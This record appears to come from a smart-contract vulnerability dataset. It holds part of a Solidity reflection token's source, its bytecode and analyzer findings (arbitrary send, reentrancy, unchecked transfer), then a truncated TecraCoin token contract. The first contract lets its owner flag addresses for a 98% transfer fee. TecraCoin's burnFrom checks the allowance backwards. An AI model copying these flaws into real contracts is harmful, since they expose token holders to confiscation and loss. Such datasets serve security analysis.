_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandardSell(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesSell(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (recipient == _burnAddress) {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _processFee(uint256 tLP, uint256 tMarketing) internal {
uint256 currentRate = _getRate();
uint256 rLP = tLP.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLP).add(rMarketing);
}
receive() external payable {}
function _getValuesBuy(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory buyFees;
(buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection) = _getTValues(tAmount, currentFee.buyLPFee, currentFee.buyMarketingFee, currentFee.buyReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing);
}
function _getValuesSell(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory sellFees;
(sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection) = _getTValues(tAmount, currentFee.sellLPFee, currentFee.sellMarketingFee, currentFee.sellReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing);
}
function _getTValues(uint256 tAmount, uint256 LPFee, uint256 marketingFee, uint256 reflectionFee) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tLP = tAmount.mul(LPFee).div(100);
uint256 tMarketing = tAmount.mul(marketingFee).div(100);
uint256 tReflection = tAmount.mul(reflectionFee).div(100);
uint256 tTransferAmount = tAmount.sub(tLP).sub(tMarketing);
tTransferAmount = tTransferAmount.sub(tReflection);
return (tTransferAmount, tLP, tMarketing, tReflection);
}
function _getRValues(uint256 tAmount, uint256 tLP, uint256 tMarketing, uint256 tReflection, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rLP = tLP.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rReflection = tReflection.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rLP).sub(rMarketing).sub(rReflection);
return (rAmount, rTransferAmount, rReflection);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (_rOwned[_burnAddress] > rSupply || _tOwned[_burnAddress] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_burnAddress]);
tSupply = tSupply.sub(_tOwned[_burnAddress]);
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setIsExcludedFromFee(address account, bool toggle) external onlyOwner {
_isExcludedFromFee[account] = toggle;
}
function manageWreck(address account, bool isWreck) external onlyOwner {
wreck[account] = isWreck;
}
function setMaxBuyTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxBuyTxAmount = maxTxLimit;
}
function updateSwapLimit(uint256 amount, uint256 maxAmount) external onlyOwner {
swapLimit = amount;
maxSwapLimit = maxAmount;
}
function setMaxSellTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxSellTxAmount = maxTxLimit;
}
function setTaxes(uint256 buyMarketingFee, uint256 buyLPFee, uint256 buyReflectionFee, uint256 sellMarketingFee, uint256 sellLPFee, uint256 sellReflectionFee) external onlyOwner {
require(buyMarketingFee.add(buyLPFee).add(buyReflectionFee) < 50, "Sum of sell fees must be less than 50");
require(sellMarketingFee.add(sellLPFee).add(sellReflectionFee) < 50, "Sum of buy fees must be less than 50");
_buyMarketingFee = buyMarketingFee;
_buyLPFee = buyLPFee;
_buyReflectionFee = buyReflectionFee;
_sellMarketingFee = sellMarketingFee;
_sellLPFee = sellLPFee;
_sellReflectionFee = sellReflectionFee;
}
function updateSwapLimit(uint256 amount) external onlyOwner {
swapLimit = amount;
}
function updateSwap(bool _swapEnabled) external onlyOwner {
swapEnabled = _swapEnabled;
}
function setFeeReceivers(address payable LPAddress, address payable marketingAddress) external onlyOwner {
_LPAddress = LPAddress;
_marketingAddress = marketingAddress;
}
function transferOtherTokens(address addr, uint amount) external onlyOwner {
IERC20(addr).transfer(_msgSender(), amount);
}
}
|
0x6080604052600436106101c65760003560e01c80636a01f09c116100f7578063bdb2c38211610095578063f2fde38b11610064578063f2fde38b14610553578063f8e5884b14610573578063fab355f214610593578063fceade72146105b357600080fd5b8063bdb2c382146104ad578063d1633649146104cd578063dd62ed3e146104ed578063ef422a181461053357600080fd5b8063943620db116100d1578063943620db1461042157806395d89b4114610441578063a4b45c001461046d578063a9059cbb1461048d57600080fd5b80636a01f09c146103cb57806370a08231146103e157806373d46b071461040157600080fd5b80632d1fb38911610164578063313ce5671161013e578063313ce5671461033757806349bd5a5e146103535780635d2c76b01461038b5780636883b831146103ab57600080fd5b80632d1fb389146102d25780632f2dae7f146102f25780632f54bf6e1461030857600080fd5b806318160ddd116101a057806318160ddd1461024f57806319aa57e81461027257806323b872dd14610292578063261c6ca5146102b257600080fd5b806304d4c990146101d257806306fdde03146101f4578063095ea7b31461021f57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101f26101ed366004611d79565b6105d3565b005b34801561020057600080fd5b50610209610702565b6040516102169190611dbc565b60405180910390f35b34801561022b57600080fd5b5061023f61023a366004611e29565b610722565b6040519015158152602001610216565b34801561025b57600080fd5b50610264610739565b604051908152602001610216565b34801561027e57600080fd5b506101f261028d366004611e29565b61075b565b34801561029e57600080fd5b5061023f6102ad366004611e55565b61081f565b3480156102be57600080fd5b506101f26102cd366004611ea4565b610888565b3480156102de57600080fd5b506101f26102ed366004611ea4565b6108e2565b3480156102fe57600080fd5b5061026460075481565b34801561031457600080fd5b5061023f610323366004611edd565b6000546001600160a01b0391821691161490565b34801561034357600080fd5b5060405160098152602001610216565b34801561035f57600080fd5b50601654610373906001600160a01b031681565b6040516001600160a01b039091168152602001610216565b34801561039757600080fd5b506101f26103a6366004611efa565b610947565b3480156103b757600080fd5b506101f26103c6366004611efa565b61097b565b3480156103d757600080fd5b5061026460065481565b3480156103ed57600080fd5b506102646103fc366004611edd565b6109c3565b34801561040d57600080fd5b506101f261041c366004611efa565b6109e5565b34801561042d57600080fd5b506101f261043c366004611f13565b610a19565b34801561044d57600080fd5b5060408051808201909152600381526244464360e81b6020820152610209565b34801561047957600080fd5b506101f2610488366004611f30565b610a5b565b34801561049957600080fd5b5061023f6104a8366004611e29565b610ab8565b3480156104b957600080fd5b506101f26104c8366004611f5e565b610ac5565b3480156104d957600080fd5b506101f26104e8366004611efa565b610aff565b3480156104f957600080fd5b50610264610508366004611f30565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053f57600080fd5b506101f261054e366004611ea4565b610b44565b34801561055f57600080fd5b506101f261056e366004611edd565b610b9e565b34801561057f57600080fd5b506101f261058e366004611efa565b610c44565b34801561059f57600080fd5b506101f26105ae366004611efa565b610cbd565b3480156105bf57600080fd5b506101f26105ce366004611efa565b610cf1565b3360009081526001602052604090205460ff1661060b5760405162461bcd60e51b815260040161060290611f80565b60405180910390fd5b60326106218561061b8989610e2f565b90610e2f565b1061067c5760405162461bcd60e51b815260206004820152602560248201527f53756d206f662073656c6c2066656573206d757374206265206c6573732074686044820152640616e2035360dc1b6064820152608401610602565b603261068c8261061b8686610e2f565b106106e55760405162461bcd60e51b8152602060048201526024808201527f53756d206f66206275792066656573206d757374206265206c6573732074686160448201526306e2035360e41b6064820152608401610602565b600d95909555600c93909355600e91909155601055600f55601155565b60606040518060600160405280602a81526020016121db602a9139905090565b600061072f338484610e8e565b5060015b92915050565b60006107476009600a61209a565b6107569064e8d4a510006120a9565b905090565b3360009081526001602052604090205460ff1661078a5760405162461bcd60e51b815260040161060290611f80565b6001600160a01b03821663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156107e257600080fd5b505af11580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906120c8565b505050565b600061082c848484610fb2565b61087e843361087985604051806060016040528060288152602001612205602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611390565b610e8e565b5060019392505050565b3360009081526001602052604090205460ff166108b75760405162461bcd60e51b815260040161060290611f80565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6108eb33610323565b61091c5760405162461bcd60e51b8152602060048201526002602482015261085160f21b6044820152606401610602565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff166109765760405162461bcd60e51b815260040161060290611f80565b601755565b3360009081526001602052604090205460ff166109aa5760405162461bcd60e51b815260040161060290611f80565b476109bf826109b957816113ca565b826113ca565b5050565b6001600160a01b0381166000908152600260205260408120546107339061144f565b3360009081526001602052604090205460ff16610a145760405162461bcd60e51b815260040161060290611f80565b600b55565b3360009081526001602052604090205460ff16610a485760405162461bcd60e51b815260040161060290611f80565b6008805460ff1916911515919091179055565b3360009081526001602052604090205460ff16610a8a5760405162461bcd60e51b815260040161060290611f80565b601480546001600160a01b039384166001600160a01b03199182161790915560138054929093169116179055565b600061072f338484610fb2565b3360009081526001602052604090205460ff16610af45760405162461bcd60e51b815260040161060290611f80565b600691909155600755565b3360009081526001602052604090205460ff16610b2e5760405162461bcd60e51b815260040161060290611f80565b43600a55600b556019805460ff19166001179055565b3360009081526001602052604090205460ff16610b735760405162461bcd60e51b815260040161060290611f80565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b610ba733610323565b610bd85760405162461bcd60e51b8152602060048201526002602482015261085160f21b6044820152606401610602565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b3360009081526001602052604090205460ff16610c735760405162461bcd60e51b815260040161060290611f80565b6000610c7e306109c3565b9050610c9d610c986064610c928486610d6e565b90610d25565b6114cc565b610cb66064610c92610caf85836120e5565b8490610d6e565b6006555050565b3360009081526001602052604090205460ff16610cec5760405162461bcd60e51b815260040161060290611f80565b601855565b3360009081526001602052604090205460ff16610d205760405162461bcd60e51b815260040161060290611f80565b600655565b6000610d6783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061164f565b9392505050565b600082610d7d57506000610733565b6000610d8983856120a9565b905082610d9685836120fc565b14610d675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610602565b6000610d6783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611390565b600080610e3c838561211e565b905083811015610d675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610602565b6001600160a01b038316610ef05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610602565b6001600160a01b038216610f515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610602565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610602565b6001600160a01b0382166110785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610602565b600081116110da5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610602565b600160006110e661167d565b6016549091506001600160a01b03868116911614801561111457506015546001600160a01b03858116911614155b801561113957506001600160a01b03841660009081526005602052604090205460ff16155b156111ce576017548311156111805760405162461bcd60e51b815260206004820152600d60248201526c13585e08109d5e48131a5b5a5d609a1b6044820152606401610602565b600b54600a5461118f91610e2f565b431115806111a0575060195460ff16155b156111c9576001600160a01b0384166000908152601260205260409020805460ff191660011790555b611329565b601954610100900460ff161580156111f457506016546001600160a01b03868116911614155b801561121957506001600160a01b03851660009081526005602052604090205460ff16155b15611324576018548311156112615760405162461bcd60e51b815260206004820152600e60248201526d13585e0814d95b1b08131a5b5a5d60921b6044820152606401610602565b600b54600a5461127091610e2f565b43111580611281575060195460ff16155b156112aa576001600160a01b0385166000908152601260205260409020805460ff191660011790555b60006112b5306109c3565b9050600654811180156112ca575060085460ff165b1561130d576007546006546112df919061211e565b81106112f5576112f06007546114cc565b61130d565b61130d610c9860065483610ded90919063ffffffff16565b47801561131d5761131d476113ca565b5050611329565b600091505b6001600160a01b03851660009081526012602052604090205460ff168061136857506001600160a01b03841660009081526012602052604090205460ff165b1561137c576113756116bf565b9050600191505b61138985858585856116fd565b5050505050565b600081848411156113b45760405162461bcd60e51b81526004016106029190611dbc565b5060006113c184866120e5565b95945050505050565b6013546001600160a01b03166108fc6113e4836002610d25565b6040518115909202916000818181858888f1935050505015801561140c573d6000803e3d6000fd5b506014546001600160a01b03166108fc611427836002610d25565b6040518115909202916000818181858888f193505050501580156109bf573d6000803e3d6000fd5b60006009548211156114b65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610602565b60006114c0611740565b9050610d678382610d25565b6019805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151057611510612136565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156457600080fd5b505afa158015611578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159c919061214c565b816001815181106115af576115af612136565b6001600160a01b0392831660209182029290920101526015546115d59130911684610e8e565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061160e908590600090869030904290600401612169565b600060405180830381600087803b15801561162857600080fd5b505af115801561163c573d6000803e3d6000fd5b50506019805461ff001916905550505050565b600081836116705760405162461bcd60e51b81526004016106029190611dbc565b5060006113c184866120fc565b611685611d43565b61168d611d43565b600d548152600c546040820152600e5460208201526010546060820152600f5460a08201526011546080820152919050565b6116c7611d43565b6116cf611d43565b6062808252600160408301819052600060208401819052606084019290925260a08301526080820152919050565b8161170d5761170a611763565b90505b6016546001600160a01b03868116911614156117345761172f8585858461179e565b611389565b611389858585846118a6565b600080600061174d611998565b909250905061175c8282610d25565b9250505090565b61176b611d43565b611773611d43565b600080825260408201819052602082018190526060820181905260a082018190526080820152919050565b6000806000806000806117b18888611b15565b9550955095509550955095506117f586600260008d6001600160a01b03166001600160a01b0316815260200190815260200160002054610ded90919063ffffffff16565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815220546118249086610e2f565b6001600160a01b038a166000908152600260205260409020556118478282611bc7565b6009546118549085610ded565b6009556040518381526001600160a01b03808b1691908c16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050505050505050565b6000806000806000806118b98888611c27565b9550955095509550955095506118fd86600260008d6001600160a01b03166001600160a01b0316815260200190815260200160002054610ded90919063ffffffff16565b6001600160a01b03808c1660009081526002602052604080822093909355908b168152205461192c9086610e2f565b6001600160a01b038a1660008181526002602052604090209190915561dead141561198e576001600160a01b0389166000908152600360205260409020546119749084610e2f565b6001600160a01b038a166000908152600360205260409020555b6118478282611bc7565b6000806000600954905060006009600a6119b2919061209a565b6119c19064e8d4a510006120a9565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54909150821080611a29575061dead60005260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c5481105b15611a58576009546009600a611a3f919061209a565b611a4e9064e8d4a510006120a9565b9350935050509091565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54611a90908390610ded565b61dead60005260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c54909250611acb908290610ded565b9050611af4611adc6009600a61209a565b611aeb9064e8d4a510006120a9565b60095490610d25565b821015611b0c576009546009600a611a3f919061209a565b90939092509050565b600080600080600080611b496040518060800160405280600081526020016000815260200160008152602001600081525090565b611b618989604001518a600001518b60200151611c6f565b60608501526040840152602083015281526000611b7c611740565b90506000806000611b9c8d86602001518760400151886060015188611ce1565b87516020890151604090990151939e50919c509a509850949650939450505050509295509295509295565b6000611bd1611740565b90506000611bdf8483610d6e565b90506000611bed8484610d6e565b30600090815260026020526040902054909150611c1090829061061b9085610e2f565b306000908152600260205260409020555050505050565b600080600080600080611c5b6040518060800160405280600081526020016000815260200160008152602001600081525090565b611b61898960a001518a606001518b608001515b600080808080611c846064610c928b8b610d6e565b90506000611c976064610c928c8b610d6e565b90506000611caa6064610c928d8b610d6e565b90506000611cc283611cbc8e87610ded565b90610ded565b9050611cce8183610ded565b9c939b5091995097509095505050505050565b6000808080611cf08986610d6e565b90506000611cfe8987610d6e565b90506000611d0c8988610d6e565b90506000611d1a8989610d6e565b90506000611d2e82611cbc85818989610ded565b949d949c50909a509298505050505050505050565b6040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008060008060008060c08789031215611d9257600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600060208083528351808285015260005b81811015611de957858101830151858201604001528201611dcd565b81811115611dfb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611e2657600080fd5b50565b60008060408385031215611e3c57600080fd5b8235611e4781611e11565b946020939093013593505050565b600080600060608486031215611e6a57600080fd5b8335611e7581611e11565b92506020840135611e8581611e11565b929592945050506040919091013590565b8015158114611e2657600080fd5b60008060408385031215611eb757600080fd5b8235611ec281611e11565b91506020830135611ed281611e96565b809150509250929050565b600060208284031215611eef57600080fd5b8135610d6781611e11565b600060208284031215611f0c57600080fd5b5035919050565b600060208284031215611f2557600080fd5b8135610d6781611e96565b60008060408385031215611f4357600080fd5b8235611f4e81611e11565b91506020830135611ed281611e11565b60008060408385031215611f7157600080fd5b50508035926020909101359150565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611ff1578160001904821115611fd757611fd7611fa0565b80851615611fe457918102915b93841c9390800290611fbb565b509250929050565b60008261200857506001610733565b8161201557506000610733565b816001811461202b576002811461203557612051565b6001915050610733565b60ff84111561204657612046611fa0565b50506001821b610733565b5060208310610133831016604e8410600b8410161715612074575081810a610733565b61207e8383611fb6565b806000190482111561209257612092611fa0565b029392505050565b6000610d6760ff841683611ff9565b60008160001904831182151516156120c3576120c3611fa0565b500290565b6000602082840312156120da57600080fd5b8151610d6781611e96565b6000828210156120f7576120f7611fa0565b500390565b60008261211957634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561213157612131611fa0565b500190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561215e57600080fd5b8151610d6781611e11565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121b95784516001600160a01b031683529383019391830191600101612194565b50506001600160a01b0396909616606085015250505060800152939250505056fe446567656e204661726d204361706974616c207c20742e6d652f446567656e4661726d4361706974616c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e00a85061cd08b96bf90a9f5445656582fe241a5d776cc82347557cdc6b18d7364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,677 |
0xe38b72d6595fd3885d1d2f770aa23e94757f91a1
|
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.2;
// interface need to claim rouge tokens from contract and handle upgraded functions
abstract contract IERC20 {
function balanceOf(address owner) public view virtual returns (uint256);
function transfer(address to, uint256 amount) public virtual;
function allowance(address owner, address spender)
public
view
virtual
returns (uint256);
function totalSupply() public view virtual returns (uint256);
}
// interface to potential future upgraded contract,
// only essential write functions that need check that this contract is caller
abstract contract IUpgradedToken {
function transferByLegacy(
address sender,
address to,
uint256 amount
) public virtual returns (bool);
function transferFromByLegacy(
address sender,
address from,
address to,
uint256 amount
) public virtual returns (bool);
function approveByLegacy(
address sender,
address spender,
uint256 amount
) public virtual;
}
//
// The ultimate ERC20 token contract for TecraCoin project
//
contract TcrToken {
//
// ERC20 basic information
//
uint8 public constant decimals = 8;
string public constant name = "TecraCoin";
string public constant symbol = "TCR";
uint256 private _totalSupply;
uint256 public constant maxSupply = 21000000000000000;
string public constant version = "1";
uint256 public immutable getChainId;
//
// other flags, data and constants
//
address public owner;
address public newOwner;
bool public paused;
bool public deprecated;
address public upgradedAddress;
bytes32 public immutable DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
string private constant ERROR_DAS = "Different array sizes";
string private constant ERROR_BTL = "Balance too low";
string private constant ERROR_ATL = "Allowance too low";
string private constant ERROR_OO = "Only Owner";
//
// events
//
event Transfer(address indexed from, address indexed to, uint256 value);
event Paused();
event Unpaused();
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event AddedToBlacklist(address indexed account);
event RemovedFromBlacklist(address indexed account);
//
// data stores
//
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(address => bool) public isBlacklisted;
mapping(address => bool) public isBlacklistAdmin;
mapping(address => bool) public isMinter;
mapping(address => bool) public isPauser;
mapping(address => uint256) public nonces;
//
// contract constructor
//
constructor() {
owner = msg.sender;
getChainId = block.chainid;
// EIP712 Domain
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name)),
keccak256(bytes(version)),
block.chainid,
address(this)
)
);
}
//
// "approve"
//
function approve(address spender, uint256 amount) external {
if (deprecated) {
return
IUpgradedToken(upgradedAddress).approveByLegacy(
msg.sender,
spender,
amount
);
}
_approve(msg.sender, spender, amount);
}
//
// "burnable"
//
function burn(uint256 amount) external {
require(_balances[msg.sender] >= amount, ERROR_BTL);
_burn(msg.sender, amount);
}
function burnFrom(address from, uint256 amount) external {
require(_allowances[msg.sender][from] >= amount, ERROR_ATL);
require(_balances[from] >= amount, ERROR_BTL);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
_burn(from, amount);
}
//
// "transfer"
//
function transfer(address to, uint256 amount) external returns (bool) {
if (deprecated) {
return
IUpgradedToken(upgradedAddress).transferByLegacy(
msg.sender,
to,
amount
);
}
require(_balances[msg.sender] >= amount, ERROR_BTL);
_transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
if (deprecated) {
return
IUpgradedToken(upgradedAddress).transferFromByLegacy(
msg.sender,
from,
to,
amount
);
}
_allowanceTransfer(msg.sender, from, to, amount);
return true;
}
//
// non-ERC20 functionality
//
// Rouge tokens and ETH withdrawal
function acquire(address token) external onlyOwner {
if (token == address(0)) {
payable(owner).transfer(address(this).balance);
} else {
uint256 amount = IERC20(token).balanceOf(address(this));
require(amount > 0, ERROR_BTL);
IERC20(token).transfer(owner, amount);
}
}
//
// "blacklist"
//
function addBlacklister(address user) external onlyOwner {
isBlacklistAdmin[user] = true;
}
function removeBlacklister(address user) external onlyOwner {
isBlacklistAdmin[user] = false;
}
modifier onlyBlacklister {
require(isBlacklistAdmin[msg.sender], "Not a Blacklister");
_;
}
modifier notOnBlacklist(address user) {
require(!isBlacklisted[user], "Address on blacklist");
_;
}
function addBlacklist(address user) external onlyBlacklister {
isBlacklisted[user] = true;
emit AddedToBlacklist(user);
}
function removeBlacklist(address user) external onlyBlacklister {
isBlacklisted[user] = false;
emit RemovedFromBlacklist(user);
}
function burnBlackFunds(address user) external onlyOwner {
require(isBlacklisted[user], "Address not on blacklist");
_burn(user, _balances[user]);
}
//
// "bulk transfer"
//
// transfer to list of address-amount
function bulkTransfer(address[] calldata to, uint256[] calldata amount)
external
returns (bool)
{
require(to.length == amount.length, ERROR_DAS);
for (uint256 i = 0; i < to.length; i++) {
require(_balances[msg.sender] >= amount[i], ERROR_BTL);
_transfer(msg.sender, to[i], amount[i]);
}
return true;
}
// transferFrom to list of address-amount
function bulkTransferFrom(
address from,
address[] calldata to,
uint256[] calldata amount
) external returns (bool) {
require(to.length == amount.length, ERROR_DAS);
for (uint256 i = 0; i < to.length; i++) {
_allowanceTransfer(msg.sender, from, to[i], amount[i]);
}
return true;
}
// send same amount to multiple addresses
function bulkTransfer(address[] calldata to, uint256 amount)
external
returns (bool)
{
require(_balances[msg.sender] >= amount * to.length, ERROR_BTL);
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], amount);
}
return true;
}
// send same amount to multiple addresses by allowance
function bulkTransferFrom(
address from,
address[] calldata to,
uint256 amount
) external returns (bool) {
require(_balances[from] >= amount * to.length, ERROR_BTL);
for (uint256 i = 0; i < to.length; i++) {
_allowanceTransfer(msg.sender, from, to[i], amount);
}
return true;
}
//
// "mint"
//
modifier onlyMinter {
require(isMinter[msg.sender], "Not a Minter");
_;
}
function addMinter(address user) external onlyOwner {
isMinter[user] = true;
}
function removeMinter(address user) external onlyOwner {
isMinter[user] = false;
}
function mint(address to, uint256 amount) external onlyMinter {
_balances[to] += amount;
_totalSupply += amount;
require(_totalSupply < maxSupply, "You can not mine that much");
emit Transfer(address(0), to, amount);
}
//
// "ownable"
//
modifier onlyOwner {
require(msg.sender == owner, ERROR_OO);
_;
}
function giveOwnership(address _newOwner) external onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() external {
require(msg.sender == newOwner, ERROR_OO);
newOwner = address(0);
owner = msg.sender;
}
//
// "pausable"
//
function addPauser(address user) external onlyOwner {
isPauser[user] = true;
}
function removePauser(address user) external onlyOwner {
isPauser[user] = false;
}
modifier onlyPauser {
require(isPauser[msg.sender], "Not a Pauser");
_;
}
modifier notPaused {
require(!paused, "Contract is paused");
_;
}
function pause() external onlyPauser notPaused {
paused = true;
emit Paused();
}
function unpause() external onlyPauser {
require(paused, "Contract not paused");
paused = false;
emit Unpaused();
}
//
// "permit"
// Uniswap integration EIP-2612
//
function permit(
address user,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "permit: EXPIRED");
bytes32 digest =
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
user,
spender,
value,
nonces[user]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == user,
"permit: INVALID_SIGNATURE"
);
_approve(user, spender, value);
}
//
// upgrade contract
//
function upgrade(address token) external onlyOwner {
deprecated = true;
upgradedAddress = token;
}
//
// ERC20 view functions
//
function balanceOf(address account) external view returns (uint256) {
if (deprecated) {
return IERC20(upgradedAddress).balanceOf(account);
}
return _balances[account];
}
function allowance(address account, address spender)
external
view
returns (uint256)
{
if (deprecated) {
return IERC20(upgradedAddress).allowance(account, spender);
}
return _allowances[account][spender];
}
function totalSupply() external view returns (uint256) {
if (deprecated) {
return IERC20(upgradedAddress).totalSupply();
}
return _totalSupply;
}
//
// internal functions
//
function _approve(
address account,
address spender,
uint256 amount
) private notOnBlacklist(account) notOnBlacklist(spender) notPaused {
_allowances[account][spender] = amount;
emit Approval(account, spender, amount);
}
function _allowanceTransfer(
address spender,
address from,
address to,
uint256 amount
) private {
require(_allowances[from][spender] >= amount, ERROR_ATL);
require(_balances[from] >= amount, ERROR_BTL);
// exception for Uniswap "approve forever"
if (_allowances[from][spender] != type(uint256).max) {
_approve(from, spender, _allowances[from][spender] - amount);
}
_transfer(from, to, amount);
}
function _burn(address from, uint256 amount) private notPaused {
_balances[from] -= amount;
_totalSupply -= amount;
